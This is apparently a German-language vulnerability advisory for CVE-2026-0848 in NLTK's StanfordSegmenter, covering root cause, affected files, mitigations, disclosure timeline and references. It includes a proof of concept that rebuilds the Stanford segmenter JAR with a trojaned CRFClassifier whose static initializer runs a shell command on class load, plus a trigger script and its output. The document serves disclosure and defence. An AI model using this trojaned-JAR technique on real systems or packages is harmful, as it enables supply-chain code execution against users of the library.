
nltk.tokenize.StanfordSegmenter lädt dynamisch externe Java-.jar-Dateien ohne Verifizierung oder Sandboxing. Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann (z. B. durch einen vergifteten Modell-Download, einen MITM-Pakettausch oder eine Abhängigkeitsvergiftung), wird beim Import beliebiger Java-Bytecode ausgeführt.
| Feld | Details |
|---|---|
| CVE-ID | CVE-2026-0848 |
| Paket | nltk (Natural Language Toolkit) |
| Registry | PyPI |
| Betroffene Versionen | <= 3.9.2 |
| Schwachstellentyp | CWE-20: Unzureichende Eingabevalidierung |
| CVSS-Score | 10.0 (Kritisch) |
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsumfang | Geändert |
| Vertraulichkeitsauswirkung | Hoch |
| Integritätsauswirkung | Hoch |
| Verfügbarkeitsauswirkung | Hoch |
| Gemeldet am | 6. Dezember 2025 |
| CVE veröffentlicht | März 2026 |
| Unterstützt durch | Palo Alto Networks / Prisma AIRS |
nltk.tokenize.StanfordSegmenter lädt über subprocess dynamisch externe Java-.jar-Dateien, ohne eine Integritätsprüfung, Signaturprüfung oder Sandboxing durchzuführen. Die Klasse akzeptiert vollständig angreiferkontrollierte Parameter wie path_to_jar, path_to_model, path_to_dict und java_class und übergibt sie direkt an einen java -cp-Aufruf.
Wenn ein Angreifer die JAR-Datei bereitstellen oder ersetzen kann – etwa durch ein vergiftetes Modell-Download, einen Man-in-the-Middle-Pakettausch, eine Abhängigkeitsvergiftung oder einen manipulierten Release-Mirror – wird beim Klassenladen beliebiger Java-Bytecode über den statischen Initialisierungsmechanismus der JVM ausgeführt. Dies stellt eine Remote-Code-Ausführung in der Lieferkette dar und umgeht die Python-Laufzeitumgebung vollständig.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Eine erfolgreiche Ausnutzung verschafft einem Angreifer die vollständige Kontrolle über das System, auf dem der NLTK-Segmentierungsprozess ausgeführt wird:
Runtime.getRuntime().exec() oder ProcessBuilder aufrufen, um beliebige Shell-Befehle auszuführenDiese Schwachstelle betrifft jeden NLP-Workflow, der StanfordSegmenter verwendet, einschließlich Chatbots, LLM-Vorverarbeitungspipelines, Datensatzsegmentierung, Dokumentklassifizierung und Produktions-Inferenzdiensten.
Diese Informationen dienen ausschließlich Bildungs- und Verteidigungszwecken. Testen Sie keine Systeme, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Genehmigung haben.
cd stanford-segmenter-2020-11-17/merged
jar xf ../stanford-segmenter-4.2.0.jar
rm -rf edu/stanford/nlp/ie/crf/CRFClassifier.class
cat << 'EOF' > edu/stanford/nlp/ie/crf/CRFClassifier.java
package edu.stanford.nlp.ie.crf;
public class CRFClassifier {
static {
try {
System.out.println("\nPayload executed — Code ran on class load!\n");
Runtime.getRuntime().exec("touch /tmp/pwned_hijack");
} catch(Exception e){}
}
public static void main(String[] args){}
}
EOF
javac edu/stanford/nlp/ie/crf/CRFClassifier.java
jar cfm exploit.jar META-INF/MANIFEST.MF *
cp exploit.jar ../stanford-segmenter.jar
mkdir merged && cd merged
javac Payload.java
jar xf ../stanford-segmenter-4.2.0.jar
jar xf ../stanford-corenlp-4.2.0/stanford-corenlp-4.2.0.jar
jar cfm exploit.jar META-INF/MANIFEST.MF *
jar uf exploit.jar Payload.class
cp exploit.jar ../stanford-segmenter.jar
cd ..
# test.py
from nltk.tokenize.stanford_segmenter import StanfordSegmenter
print("[+] Triggering payload via modified Stanford JAR...")
seg = StanfordSegmenter(
path_to_jar="stanford-segmenter.jar",
path_to_sihan_corpora_dict="./data/",
path_to_dict="./data/dict-chris6.ser.gz",
path_to_model="./data/pku.gz",
java_class="edu.stanford.nlp.ie.crf.CRFClassifier",
encoding="utf-8"
)
print("[+] Running segmentation...")
print(seg.segment("我爱自然语言处理"))
Ausgabe:
[+] Triggering payload via modified Stanford JAR...
Payload executed — Code ran on class load!
[+] Running segmentation...
我 爱 自然语言 处理
RCE bestätigen:
ls /tmp | grep pwned_hijack
# pwned_hijack
Die Schwachstelle ist in zwei Dateien vorhanden:
stanford_segmenter.py — Der Konstruktor der Klasse StanfordSegmenter akzeptiert path_to_jar, path_to_model, path_to_dict und java_class als einfache Zeichenkettenargumente und leitet sie direkt an die Java-Ausführungsebene weiter, ohne eine der folgenden Prüfungen durchzuführen:
java_class anhand einer bekannten, sicheren Menge von Klassennameninternals.py — Die Hilfsfunktion java() erstellt und startet einen subprocess.Popen()-Aufruf mit dem benutzerbereitgestellten Classpath. Die JVM lädt sofort alle Klassen in der bereitgestellten JAR-Datei und führt dabei alle statischen Initialisierungsblöcke aus, bevor die Anwendungslogik läuft. Es gibt weder eine Sandbox, noch ein Integritätsgate oder einen Mechanismus, der die Ausführung von injiziertem Bytecode verhindert.
Die Schwachstelle wurde im Upstream-NLTK-Repository vollständig behoben.
| Ressource | Link |
|---|---|
| Zentrale Sicherheitsbehebung (alle CVEs) | https://github.com/nltk/nltk/pull/3522 |
| Initialer Fix-PR des Forschers | https://github.com/nltk/nltk/pull/3477 (gemerged) |
Aktualisieren Sie auf eine gepatchte Version von NLTK, sobald sie auf PyPI verfügbar ist.
Upgrade über pip:
pip install --upgrade nltk
Installierte Version überprüfen:
python -c "import nltk; print(nltk.__version__)"
Dieses Repository dokumentiert CVE-2026-0848 ausschließlich für Bildungs-, Forschungs- und Verteidigungszwecke. Der Proof-of-Concept-Code und die technischen Details werden bereitgestellt, um Entwicklern, Sicherheitsingenieuren und Systemadministratoren zu helfen, diese Schwachstelle zu verstehen, zu bewerten und zu beheben.
Jegliche Nutzung dieser Informationen zum Zugriff auf oder zur Kompromittierung von Systemen ohne ausdrückliche Genehmigung ist illegal und unethisch. Der Autor übernimmt keine Haftung für Missbrauch der enthaltenen Informationen.
Mitwirkende: ketanHub
| Datei | Zeilen | Beschreibung |
|---|
nltk/tokenize/stanford_segmenter.py | L53–L118 | Akzeptiert angreiferkontrollierte path_to_jar, path_to_model, path_to_dict und java_class ohne Validierung |
nltk/internals.py | L220–L300 | Startet die Java-Ausführung direkt mit benutzerkontrolliertem JAR-Pfad und Classpath, ohne Sandbox oder Prüfsummenverifizierung |
nltk/internals.py | L109–L152 | subprocess.Popen() führt Java mit nicht validierter Classpath-Eingabe aus, wodurch die JVM beliebigen Bytecode laden und statische Initialisierer ausführen kann |
| Metrik | Wert |
|---|
| Angriffsvektor | Netzwerk |
| Angriffskomplexität | Niedrig |
| Erforderliche Privilegien | Keine |
| Benutzerinteraktion | Keine |
| Auswirkungsumfang | Geändert |
| Vertraulichkeit | Hoch |
| Integrität | Hoch |
| Verfügbarkeit | Hoch |
| Szenario | Auswirkung |
|---|
| ML-Forscher lädt ein vortrainiertes Segmentierungsmodell aus dem Internet | Remote-Angreifer erlangt Codeausführung |
| Organisation lädt ein manipuliertes ZIP-Modell für die chinesische Segmentierung herunter | Schadsoftware wird in der Produktions-NLP-Pipeline ausgeführt |
CI/CD-Server installiert ein Modell über wget/unzip von einem Nicht-HTTPS-Mirror | Vollständige Kompromittierung der Umgebung |
| Übernahme einer Abhängigkeit oder vergifteter Release-Mirror | Vollständige Supply-Chain-RCE |
| Maßnahme | Details |
|---|
| NLTK aktualisieren | Auf eine Version größer als 3.9.2 aktualisieren, die den Fix aus PR #3522 enthält |
| Keine benutzerkontrollierten JAR-Pfade verwenden | Niemals zulassen, dass Benutzereingaben die Argumente path_to_jar, path_to_model oder java_class beeinflussen |
| JAR-Integrität prüfen | Vor der Verwendung stets SHA-256-Prüfsummen heruntergeladener JAR-Dateien gegen offiziell veröffentlichte Hashwerte verifizieren |
| Nur HTTPS-Quellen verwenden | Modelldateien und JARs ausschließlich von offiziellen HTTPS-Quellen herunterladen; jegliche HTTP- oder unverifizierte Mirror ablehnen |
| Minimalrechte | NLTK-basierte Dienste unter einem eingeschränkten Betriebssystem-Benutzer mit minimalen Dateisystem- und Netzwerkberechtigungen ausführen |
| Containerisierung | NLP-Dienste in Docker-Containern oder ähnlichen Sandboxes isolieren, um den Schadensradius von JAR-basierten Exploits zu begrenzen |
| Abhängigkeitsüberwachung | Ein Software-Composition-Analysis-Tool verwenden, um manipulierte oder ersetzte JAR-Abhängigkeiten in CI/CD-Pipelines zu erkennen |
| Datum | Ereignis |
|---|
| 6. Dezember 2025 | Schwachstelle von Forscher hyperps1 (Sarvesh Patil) an huntr.dev gemeldet |
| Dezember 2025 | NLTK-Maintainer-Team über huntr.dev benachrichtigt |
| Januar 2026 | NLTK-Maintainer validierte die Schwachstelle; Offenlegungsprämie vergeben |
| Januar 2026 | CVE-2026-0848 zugewiesen |
| Januar 2026 | Fix-PR #3477 des Forschers eingereicht und gemerged |
| Februar 2026 | 48-Stunden-Vorabhinweis an die NLTK-Maintainer gesendet |
| März 2026 | CVE auf NVD und huntr.dev veröffentlicht |
| März 2026 | Zentrale Sicherheitsbehebung für alle CVEs über PR #3522 gemerged |
| Ressource | Link |
|---|
| NVD-Eintrag | https://nvd.nist.gov/vuln/detail/CVE-2026-0848 |
| Offizieller CVE-Eintrag | https://cve.org/CVERecord?id=CVE-2026-0848 |
| huntr.dev-Bericht | https://huntr.dev |
| Zentraler Fix-PR | https://github.com/nltk/nltk/pull/3522 |
| Forscher-Fix-PR | https://github.com/nltk/nltk/pull/3477 |
| NLTK auf PyPI | https://pypi.org/project/nltk/ |
| Stanford Word Segmenter | https://nlp.stanford.edu/software/segmenter.html |
| OWASP — Arbitrary Code Execution | https://owasp.org/www-community/attacks/Code_Injection |
| OWASP — Untrusted Search Path | https://owasp.org/www-community/vulnerabilities/Unsafe_use_of_Reflection |
| CWE-20: Improper Input Validation | https://cwe.mitre.org/data/definitions/20.html |
| CWE-502: Deserialization of Untrusted Data | https://cwe.mitre.org/data/definitions/502.html |